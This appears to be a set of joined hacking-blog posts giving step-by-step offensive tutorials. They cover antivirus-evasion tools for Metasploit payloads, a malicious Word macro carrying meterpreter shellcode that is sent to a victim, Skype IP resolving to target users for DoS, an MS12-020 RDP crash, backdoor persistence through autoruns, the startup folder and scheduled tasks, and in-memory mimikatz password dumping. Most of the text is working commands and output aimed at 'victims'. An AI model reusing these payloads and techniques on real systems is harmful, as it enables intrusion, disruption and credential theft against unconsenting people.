Today we are gonna talk about different AV evasion frameworks for metasploit payload & how to use them? It`s very imporatant when you know which AV you have to bypass, because we don`t have to worry about FUD. Some payload can bypass specific AV ; while other AV can not be bypassed using that payload.

(1)Veil:-

Veil is python based tool which create FUD payload , One of the best framework for AV evasion. On the 15th of every month, at least one new payload module will be released.

Click here for how to install & use Veil?

(2)AV0id :-

Anti-Virus Bypass Metasploit Payload Generator Script.

wget https://github.com/nccgroup/metasploitavevasion/archive/master.zip
unzip master.zip
cd metasploitavevasion-master/
./avoid.sh



If you are using other interface than eth , then you have to change in script avoid.sh . For exmaple ; i am using ppp0 interface ,so open avoid.sh file & replace line 150 which is IP=$(ifconfig "$IPINT" |grep "inet adr:" |cut -d ":" -f 2 |awk '{ print $1 }') with IP=$(ifconfig ppp0 | awk '/inet addr/ {split ($2,A,":"); print A[2]}').



Click here for original author`s blog.

(3)Syringe:-

wget https://syringe-antivirus-bypass.googlecode.com/files/syringe%200.1.tar
tar xf syringe\ 0.1.tar
./syringe.sh


As mention previously , change interface type in script if you are not using eth. Replace line 10 which is export interface=eth0 to export interface=ppp0.

(4)Shellcodeexec:-

git clone https://github.com/inquisb/shellcodeexec

we are gonna use downloaded shellcodexec in third step on victim machine.

(1)msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.56.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX

(2)msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.56.1 E

(3)C:\WINDOWS\Temp>shellcodeexec.exe <msfencode's alphanumeric-encoded payload>


Click here for detail tutorial on  how to use shellcodeexec?

(5)Hypersion:-

Hyperion is a runtime encrypter for 32-bit portable executables.

wget http://nullsecurity.net/tools/binary/Hyperion-1.0.zip
unzip Hyperion-1.0.zip
cd Hyperion-1.0
wine /root/.wine/drive_c/MinGW/bin/g++.exe ./Src/Crypter/*.cpp -o crypter.exe

Now generate metasploit payload.


msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=443 -f exe >payload.exe
wine crypter.exe payload.exe encrypted_payload.exe

(6)Crypter.py:-

Download it from below link .
http://home.base.be/%72%68%69%6e%63%6b%78%74/script.zip
unzip  script.zip
python crypter.py


If you get error while running then change path of structure.c in line 45 & save it , run again.

(7)Brute-force AV Evasion :-

Genpayloads.py is script to generate lots of payloads , then scan folder for specific after that you have some binary left in folder which does not detected by specific AV.

Click here for Original tutorial

wget https://raw.github.com/obscuresec/random/master/GenPayloads.py
python GenPayloads.py windows/meterpreter/reverse_tcp 192.168.1.2 443 1000 yes

(8)Finding Simple AV Signatures with PowerShell :-

Awesome tutorial here to find AV signatures & then change specific bit which trigger AV . It only works with signature-based antivirus .

(9)Powershell:-

Bypass AV using SET powershell module using Batch file

Get shell using powersploit

Deliver powershell payload using macro

(10)Get Shell Using VB script:-

Metasploit has a couple of built in methods you can use to infect Word and Excel documents with malicious Metasploit payloads. You can also use your own custom payloads as well.

For details tutorial click here

(11)Ghost Writing ASM :-

Using Metasm To Avoid Antivirus Detection. First generate metasploit payload in raw format then disassmble using metasm which come with metasploit.Add anything you want so long as you don’t break the functionality of the application.After that compile into EXE.

For tutorial click here .

(12)Different Pivoting technique to bypass AV :-

Following are framework & module which are mostly used after getting credentials. It does not flag by AV like traditional psexec.

(1)Veil-Catapult

(2)SMBExec

(3)Keimpx

(4)PTH suite

(5)Metasploit module:- powershell_psexec , psexec_psh , psexec_command

If you know other methods for AV evasion then please comment here.

We can execute shellcode directly in macro. It`s very old method, but still it`s useful ; because AV don`t trigger it.First we will generate VB code of our payload.

msfconsole
use payload/windows/meterpreter/reverse_tcp
set LHOST 192.168.56.102
set LPORT 443
generate -t vba
exploit


Now we have generated our shellcode. Now we will create macro.

(1)Open any word or Excell document

(2)Click on view & then click on Macros.

(3)Give name to macro & create macro.


(4)Remove all things from modules windows & Paste our generated VB code.



(5)Saved it as type Word Macro-Enabled Document.


Send this file to victim. By default in MS Office  " Disable all macros with notification " option is enabled , so whenever any document try to execute Macro it will pop up security warning that macro is disable ; so to execute our shellcode using macro victim should click on Enable content.

You have to setup listener to listen reverse connection. If your IP is not available when victim open Document then document will be crash.So now we will setup listener

use exploit/multi/handler
set lhost 192.168.56.102
set lport 443
set payload windows/meterpreter/reverse_tcp
set autorunscript migrate -n explorer.exe
exploit

Here we setup migrate script as autorunscript so when document will closed our shell will not die.

Skype resolvers are used by hackers to get Skype users IP addresses, when a hacker get a users IP address they usually hit them off or DDoS them.

If your victim is in your friend-list & you are using linux ; then it`s very simple to get his I.P.

netstat -tupan | grep skype > n1

Now chat with your victim; as soon as you got reply use following command.

netstat -tupan | grep skype > n2

diff n1 n2

Now we have I.P. of victim.

In most situation our victim is not in our friend-list. So for that situation, we will going to use online skype resolver.You can also use bash script for getting ip of victim which i wrote.

root@bt:~# git clone https://github.com/niravkdesai/skypersolver.sh

root@bt:~# cd skypersolver.sh/

root@bt:~/skypersolver.sh# sh skypersolver.sh


Use one of following  links to get I.P. of your victim using his skype user-name.

(1)http://www.skyperesolver.com/

(2)http://skresolver.com/

(3)http://www.speedresolve.com/resolve.php

(4)http://skypegrab.com/skype-beta

(5)http://iskyperesolve.com/

Okay we got I.P. Now you can directly DOS or DDOS( ddos and dos attacks are illegal) them . But we are going to use different technique to shutdown your victim pc using RDP.

First scan ip to find open ports of victim.

root@bt:~# nmap 192.168.56.101

Starting Nmap 6.40 ( http://nmap.org ) at 2013-10-11 18:41 IST
Nmap scan report for 192.168.56.101
Host is up (0.00077s latency).
Not shown: 995 filtered ports
PORT      STATE  SERVICE
139/tcp     open   netbios-ssn
445/tcp     open   microsoft-ds
2869/tcp   closed icslap
3389/tcp   open   ms-wbt-server
10243/tcp closed unknown
MAC Address: 08:00:27:B3:A3:80 (Cadmus Computer Systems)


From result we can see that port 3389 is open which is used for RDP.

Now we will use metasploit Auxiliary module to check vulnerability.

msf > use auxiliary/scanner/rdp/ms12_020_check
msf auxiliary(ms12_020_check) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf auxiliary(ms12_020_check) > run

[+] 192.168.56.101:3389 Vulnerable to MS12-020
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


Okay we got that host is vulnerable to MS12-020.Now we will use metasploit module to Dos that I.p.

msf auxiliary(ms12_020_check) > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf auxiliary(ms12_020_maxchannelids) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
msf auxiliary(ms12_020_maxchannelids) > run

[*] 192.168.56.101:3389 - Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS
[*] 192.168.56.101:3389 - 210 bytes sent
[*] 192.168.56.101:3389 - Checking RDP status...
[+] 192.168.56.101:3389 seems down
[*] Auxiliary module execution completed


And bingo ; your victim machine should be restarted. :)

In previous post we saw that how can we execute schedule task after compromised PC.Today we will see another method to maintaining access of compromised pc.

(A)When we install program in windows environment , some of them are asking to run at startup times. So these program write its value to windows registry & whenever pc is restarted , program will run in background.When uninstallation of program is not completed ; then it fails to remove its value from registry. So it`s called Missing Autoruns.

After compromised pc ; we have to find missing autoruns in victim machine.For this purpose we will use sysinternal `s autorunsc.exe.

(1)Get meterpreter shell.

(2)Upload sysinternal`s autoruns.exe & autorun.exe to victim machine.

(3)Now from uploaded directory execute following command to get missing autoruns of machine

autorunsc.exe -a | findstr /n /R "File\ not\ found"

(4)Now we have list of file which is missing ; these files are run at startup time.



(5)In my case you can see that uTorrent.exe is missing .

(6)So now i rename my backdoor to uTorrent .exe & uploaded to the path where it`s not found.


Now whenever machine is restarted you get shell.(Don`t forget to running multi/handler!!!)

For just POC ; you can run autorunsc.exe again to find out whether  our backdoor (uTorrent.exe) is written successfully or not?


In above image you can see that  uTorrent.exe is no longer missing which missed in previous step.

(B)Now this is second method; but may be suspicious.

When you put binary in start up folder it will run automatically when pc is started.

Startup Folder Location in windows Xp:-

C:\Documents and Settings\"nirav"\Start Menu\Programs\Startup

Startup Folder location In windows 7:-

C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

So upload your binary to start up folder ;make it hidden using following command.
attrb +h backdoor.exe
Restart machine & Hopefully you will get shell.

Recently in Derbycon mubix & carnal0wnage present "windows attacks at is the new black ". It`s really great presentation . You can find it here. So i will put  their method here.

After getting meterpreter shell ; we have to maintain access of shell. You can use meterpreter backdoor & persistent backdoor . But most of times it will caught by AV. You can create FUD payload using Veil.We can also create schedule task for our backdoor.

First create one batch file , put following code in it

@echo off
"C:\Documents and Settings\nirav\Desktop\backdoor.exe"

Then upload your backdoor & created batch file.Please adjust path of batch file according to your upload path of backdoor.

Get clear text password:-

Following are different methods to get clear text password of windows.

(1)using mimikatz or wce get clear text password of victim.

(2) You can also use mimikatz password dump method .

(3)You can also use mimikatz meterpreter plugin which i used in this tutorial.

   meterpreter > load mimikatz
   meterpreter > help mimikatz
   meterpreter > kerberos
   meterpreter > mimikatz_command -h
   meterpreter > mimikatz_command -f sekurlsa::logonPasswords -a "full"

(4)You can use wce & mimikatz in memory without uploading binary.

(a)WCE in memory:-

cd %systemroot%
cd system32
pwd
execute -H -m -d calc.exe -f /root/wce.exe -a "-o foo.txt"
cat foo.txt

(b)Mimikatz in memory:-

cd %systemroot%
cd system32
execute -H -i -c -m -d calc.exe -f /root/mimi/Win32/mimikatz.exe -a '"sekurlsa::logonPasswords full" exit'

So till now i upload one batch file ; backdoor & get clear text password.

Now we are going to schedule our backdoor.We are going to use schtasks command. For detail option about schtasks visit here . In this tutorial i schedule my backdoor daily at 22:16. So everyday at 22:16 my backdoor will be executed & i will get shell.

C:\Documents and Settings\nirav> SchTasks /Create /SC DAILY /TN Evil2 /TR "\"C:\Documents and Settings\nirav\Desktop\sch.bat"" /ST 22:16:00

It will ask to enter password which we got before.


You can also use different option like ONIDLE, ONLOGON, and ONSTART & execute different binary according to your need.